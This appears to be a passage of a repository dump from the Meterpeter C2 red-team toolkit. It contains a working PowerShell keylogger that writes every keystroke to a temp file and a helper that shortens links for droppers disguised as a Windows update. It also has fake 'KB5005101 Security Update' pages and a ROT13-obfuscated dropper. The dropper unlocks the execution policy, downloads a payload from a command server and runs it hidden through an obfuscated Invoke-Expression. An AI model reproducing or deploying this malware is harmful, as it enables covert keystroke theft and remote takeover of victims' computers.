.INPUTS
None. You cannot pipe objects into mscore.ps1
.OUTPUTS
* Keylogger is working with ID: 1822
=> Press CTRL+C to stop process ..
* Total Number of Keystrokes: 23
.LINK
https://github.com/r00t-3xp10it/meterpeter
#>
function Keystrokes()
{
[int]$totalNumber = 0
$Path = "$Env:TMP\void.log"
echo $pid >> $Env:TMP\pid.log #Store Process PID to be abble to stop it later
#API Calls
$signatures = @'
[DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)]
public static extern short GetAsyncKeyState(int virtualKeyCode);
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int GetKeyboardState(byte[] keystate);
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int MapVirtualKey(uint uCode, int uMapType);
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags);
'@
#Load signatures and make members available
$API = Add-Type -MemberDefinition $signatures -Name 'Win32' -Namespace API -PassThru
#Create output file
$null = Ni -Path $Path -ItemType File -Force
try{
Write-Host "* " -ForegroundColor Green -NoNewline;
Write-Host "Keylogger is working with ID: " -ForegroundColor DarkGray -NoNewline;
Write-Host "$pid" -ForegroundColor Green
Write-Host " => Press CTRL+C to stop process .." -ForegroundColor DarkYellow
## Create endless loop
# collect pressed keys, CTRL+C to exit
While($true)
{
#Start-Sleep -Milliseconds 20
#Scan ASCII codes between 8 and 129
For($ascii = 9; $ascii -le 128; $ascii++)
{
#Get current key state
$state = $API::GetAsyncKeyState($ascii)
#Is key pressed?
If($state -eq -32767)
{
$null = [console]::CapsLock
#Translate scan code to real code
$virtualKey = $API::MapVirtualKey($ascii, 3)
#Get keyboard state for virtual keys
$kbstate = New-Object Byte[] 256
$checkkbstate = $API::GetKeyboardState($kbstate)
#Prepare a StringBuilder to receive input key
$mychar = New-Object -TypeName System.Text.StringBuilder
#Translate virtual key
$success = $API::ToUnicode($ascii, $virtualKey, $kbstate, $mychar, $mychar.Capacity, 0)
If($success)
{
#add key to logger file
[System.IO.File]::AppendAllText($Path, $mychar, [System.Text.Encoding]::Unicode)
$totalNumber = $totalNumber+1
}
}
}
}
}
finally
{
write-Host "* " -ForegroundColor Green -NoNewline;
write-Host "Total Number of Keystrokes: " -ForegroundColor DarkGray -NoNewline;
write-Host "$totalNumber" -ForegroundColor Green
}
}
## Records all key presses until
# script is aborted by pressing CTRL+C
Keystrokes
================================================
FILE: mimiRatz/shorturl.ps1
================================================
<#
.SYNOPSIS
TinyUrl url generator
Author: @r00t-3xp10it (ssa redteam)
Tested Under: Windows 10 (19043) x64 bits
Required Dependencies: Invoke-WebRequest
Optional Dependencies: http.server {manual}
PS cmdlet Dev version: v1.1.7
.DESCRIPTION
Auxiliary module of Meterpeter C2 v2.10.12 that generates
tinyurl links to deliver droppers (cradles) in local LAN.
.NOTES
This cmdlet creates tinyurl links to deliver Meterpeter C2
droppers (cradles) in local LAN, and its automatic executed.
shorturl.ps1 cmdlet only delivers payloads on local LAN
If invoked -startserver 'true' then cmdlet starts http.server
parameter -serverport contains: "attacker IP addr : http.server port"
shorturl.ps1 directory its used as http.server working directory if invoked -startserver 'true'
The webpage.html\binary.exe of -payloadname to deliver must be on the same dir as shorturl.ps1
.Parameter ServerPort
Attacker IP : http.server port (default: 192.168.1.72:8087)
.Parameter PayloadName
Meterpeter C2 dropper name (default: Update-KB5005101.html)
.Parameter StartServer
Start http.server process? (default: false)
.Parameter Verb
Use TinyUrl verbose output? (default: false)
.EXAMPLE
PS C:\> .\shorturl.ps1 -ServerPort '127.0.0.1:8080'
URI: http://127.0.0.1:8080/Update-KB5005101.html
.EXAMPLE
PS C:\> .\shorturl.ps1 -ServerPort '192.168.1.72:8087' -PayloadName 'update.html'
URI: http://192.168.1.72:8087/update.html
.EXAMPLE
PS C:\> .\shorturl.ps1 -PayloadName 'fake-update.zip' -Verb 'true'
URI: http://192.168.1.72:8087/fake-update.zip ( verbose outputs )
.EXAMPLE
PS C:\> .\shorturl.ps1 -serverport '127.0.0.1:8081' -startserver 'true'
URI: http://127.0.0.1:8081/Update-KB5005101.html ( start http.server )
.EXAMPLE
PS C:\> .\shorturl.ps1 -Payloadname 'mozlz4-win32.exe' -startserver 'true'
URI: http://192.168.1.72:8087/mozlz4-win32.exe ( start http.server )
.INPUTS
None. You cannot pipe objects into shorturl.ps1
.OUTPUTS
[i] Raw Url : http://192.168.1.72:8080/Update-KB5005101.html
StatusCode : 200
StatusDescription : OK
Content : https://tinyurl.com/yyx9xptu
RawContent : HTTP/1.1 200 OK
Connection: keep-alive
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
CF-Cache-Status: DYNAMIC
CF-RAY: 703551185c40da82-LIS
alt-svc: h3=":443"; ma=86400, h3-29="...
Forms : {}
Headers : {[Connection, keep-alive], [X-Content-Type-Options, nosniff], [X-XSS-Protection, 1; mode=block],
[CF-Cache-Status, DYNAMIC]...}
Images : {}
InputFields : {}
Links : {}
ParsedHtml : mshtml.HTMLDocumentClass
RawContentLength : 28
[i] Shorten Uri : https://tinyurl.com/yyx9xptu
[*] 06:07:18 - Starting python http.server ..
.LINK
https://github.com/r00t-3xp10it/meterpeter
#>
[CmdletBinding(PositionalBinding=$false)] param(
[string]$PayloadName="Update-KB5005101.html",
[string]$ServerPort="192.168.1.72:8087",
[string]$StartServer="false",
[string]$Verb="false"
)
$testServer = $null
#Global variable declarations
$ErrorActionPreference = "SilentlyContinue"
#Shorten Url function
$Uri = "https://$ServerPort/$PayloadName" -replace 'ps:','p:'
$UrlApi = "https://t0in0yu0r0l.c0om0/ap0i-cr0ea0te.ph0p0" -replace 'ps:/','p:/' -replace '0',''
$Response = Invoke-WebRequest "${UrlApi}?url=${Uri}"
If($Response)
{
<#
.SYNOPSIS
Author: @r00t-3xp10it
Helper - generates tinyurl links to deliver droppers (cradles) in local LAN.
#>
If($Verb -ieq "True")
{
#Cmdlet verbose display fuction
write-host "[i] Raw Url : $Uri" -ForeGroundColor Black -BackGroundColor white
$Response
}
#Store uri in local variable.
$GetShortenUrl = $Response.Content
#Display onscreen the tinyurl uri
If($Response.StatusCode -eq 200 -and $GetShortenUrl -ne $null)
{
Write-Host "[i] Shorten Uri : $GetShortenUrl" -ForeGroundColor Black -BackGroundColor white
}
Else
{
Write-Host "[" -ForeGroundColor DarkGray -NoNewline;
Write-Host "x" -ForeGroundColor Red -NoNewline;
Write-Host "] fail to retrieve tinyurl uri .." -ForeGroundColor DarkGray
}
If($StartServer -ieq "true")
{
<#
.SYNOPSIS
Author: @r00t-3xp10it
Helper - Start http.server to deliver payloadname on local LAN
.NOTES
Remark: PayloadName must be on shortcut.ps1 current directory.
Parameter -payloadname 'bin.exe' can be invoked together with
param -startserver 'true' to deliver 'bin.exe' on local LAN.
#>
try{
$testServer = python -V
}Catch{
Write-Host "[" -ForeGroundColor DarkGray -NoNewline;
Write-Host "x" -ForeGroundColor Red -NoNewline;
Write-Host "] cmdlet cant find the python interpreter .." -ForeGroundColor DarkGray
}
If($testServer)
{
$ServerTime = Date -Format 'hh:mm:ss'
$HttpAddr = $ServerPort.Split(':')[0];$HttpPort = $ServerPort.Split(':')[1]
Write-Host "[*] ${ServerTime} - Starting python http.server .." -ForeGroundColor Green
Start-Process powershell -ArgumentList "python -m http.server $HttpPort --bind $HttpAddr"
}
}
}
Else
{
Write-Host "[" -ForeGroundColor DarkGray -NoNewline;
Write-Host "x" -ForeGroundColor Red -NoNewline;
Write-Host "] fail to retrieve tinyurl uri (no response).." -ForeGroundColor DarkGray
}
================================================
FILE: mimiRatz/theme/Update-KB5005101.html
================================================
Update KB5005101 21H1
================================================
FILE: mimiRatz/theme/banner.mp
================================================
_ _ _____ _____ _____ ____ ____ _____ __ __ ____ _____
| |_| ||_ _||_ _|| ()_) (_ (_ | ===|| () )\ \/ /| ===|| () )
|_| |_| |_| |_| |_| .__)__)|____||_|\_\ \__/ |____||_|\_\
================================================
FILE: mimiRatz/update.hta
================================================
KB5005101 21H1 - Security Update
Windows servicing stack update - 19041.1161, 19042.1161 and 19043.1161
================================================
FILE: mimiRatz/update.ps1
================================================
<#
.SYNOPSIS
Author: @r00t-3xp10it
Credits to: @Markus_Fleschut (rot13)
meterpeter standalone executable dropper
Change_For_Silent_Exec: [fgevat]`$FvyragRkrp=`"Gehr`"
#>
$linkinfodll = "@Se@t-E@xec@uti@onP@oli@cy @UnR@est@rict@ed" -replace '(@|)',''
cmd /R echo Y|Powershell $linkinfodll -Scope CurrentUser|Out-Null
$Rotten13 = @("[PzqyrgOvaqvat(CbfvgvbanyOvaqvat=`$snyfr)] cnenz(
[fgevat]`$BhgSvyr=`"`$Rai:GZC\Hcqngr-XO5005101.cf1`",
[fgevat]`$FvyragRkrp=`"Snyfr`"
)
`$FRkrphgrq = `$ahyy
`$ReebeNpgvbaCersrerapr = `"FvyragylPbagvahr`"
Vs(`$FvyragRkrp -vrd `"Snyfr`"){`$HfreFrgGvatf = cbjrefuryy (Arj-Bowrpg -PbzBowrpg Jfpevcg.Furyy).Cbchc(`" Srngher hcqngr `a`aGUVF FBSGJNER VF CEBIVQRQ OL GUR ERTRAGF NAQ PBAGEVOHGBEF ``NF VF'' NAQ NAL RKCERFF BE VZCYVRQ JNEENAGVRF, VAPYHQVAT, OHG ABG YVZVGRQ GB GUR VZCYVRQ JNEENAGVRF BS ZREPUNAGNOVYVGL NAQ SVGARFF SBE N CNEGVPHYNE CHECBFR NER QVFPYNVZRQ. VA AB RIRAG FUNYY GUR ERTRAGF BE PBAGEVOHGBEF OR YVNOYR SBE NAL QVERPG, VAQVERPG, VAPVQRAGNY, FCRPVNY, RKRZCYNEL, BE PBAFRDHRAGVNY QNZNTRF (VAPYHQVAT, OHG ABG YVZVGRQ GB, CEBPHERZRAG BS FHOFGVGHGR TBBQF BE FREIVPRF; YBFF BS HFR, QNGN, BE CEBSVGF; BE OHFVARFF VAGREEHCGVBA) UBJRIRE PNHFRQ NAQ BA NAL GURBEL BS YVNOVYVGL, JURGURE VA PBAGENPG, FGEVPG YVNOVYVGL, BE GBEG (VAPYHQVAT ARTYVTRAPR BE BGUREJVFR) NEVFVAT VA NAL JNL BHG BS GUR HFR BS GUVF FBSGJNER, RIRA VS NQIVFRQ BS GUR CBFFVOVYVGL BS FHPU QNZNTR.`",6,`" Frpher XO4569132 Hcqngr`",1+0)}
vje -Hev `"uggc://CharlieBrown/Hcqngr-XO5005101.cf1`" -BhgSvyr `"`$BhgSvyr`" -HfreNtrag `"Zbmvyyn/5.0 (Naqebvq; Zbovyr; ei:40.0) Trpxb/40.0 Sversbk/40.0`"|Bhg-Ahyy
Fgneg-Fyrrc -Zvyyvfrpbaqf 300;`$n = Trg-Qngr
gel{#Rkrphgr zrgrecrgre pyvrag.cf1 va n puvyq cebprff qrgnpu sebz cnerag cebprff (onpxtebhaq)
Fgneg-Cebprff cbjrefuryy.rkr -JvaqbjFglyr Uvqqra -NethzragYvfg `"-rkrp olcnff -Svyr `$BhgSvyr`"|Bhg-Ahyy
}pngpu{}");$rdata = $null
$Rotten13.ToCharArray() | ForEach-Object {If((([int] $_ -ge 97) -and ([int] $_ -le 109)) -or (([int] $_ -ge 65) -and ([int] $_ -le 77))){$rdata += [char] ([int] $_ + 13)}ElseIf((([int] $_ -ge 110) -and ([int] $_ -le 122)) -or (([int] $_ -ge 78) -and ([int] $_ -le 90))){$rdata += [char] ([int] $_ - 13)}Else{$rdata += $_}}
try{echo "$rdata"|&(DIR Alias:/I*X)}catch{powershell (New-Object -ComObject Wscript.Shell).Popup("Fail to execute KB5005101.exe Update Package",5," KB5005101 Security Update",0+16)}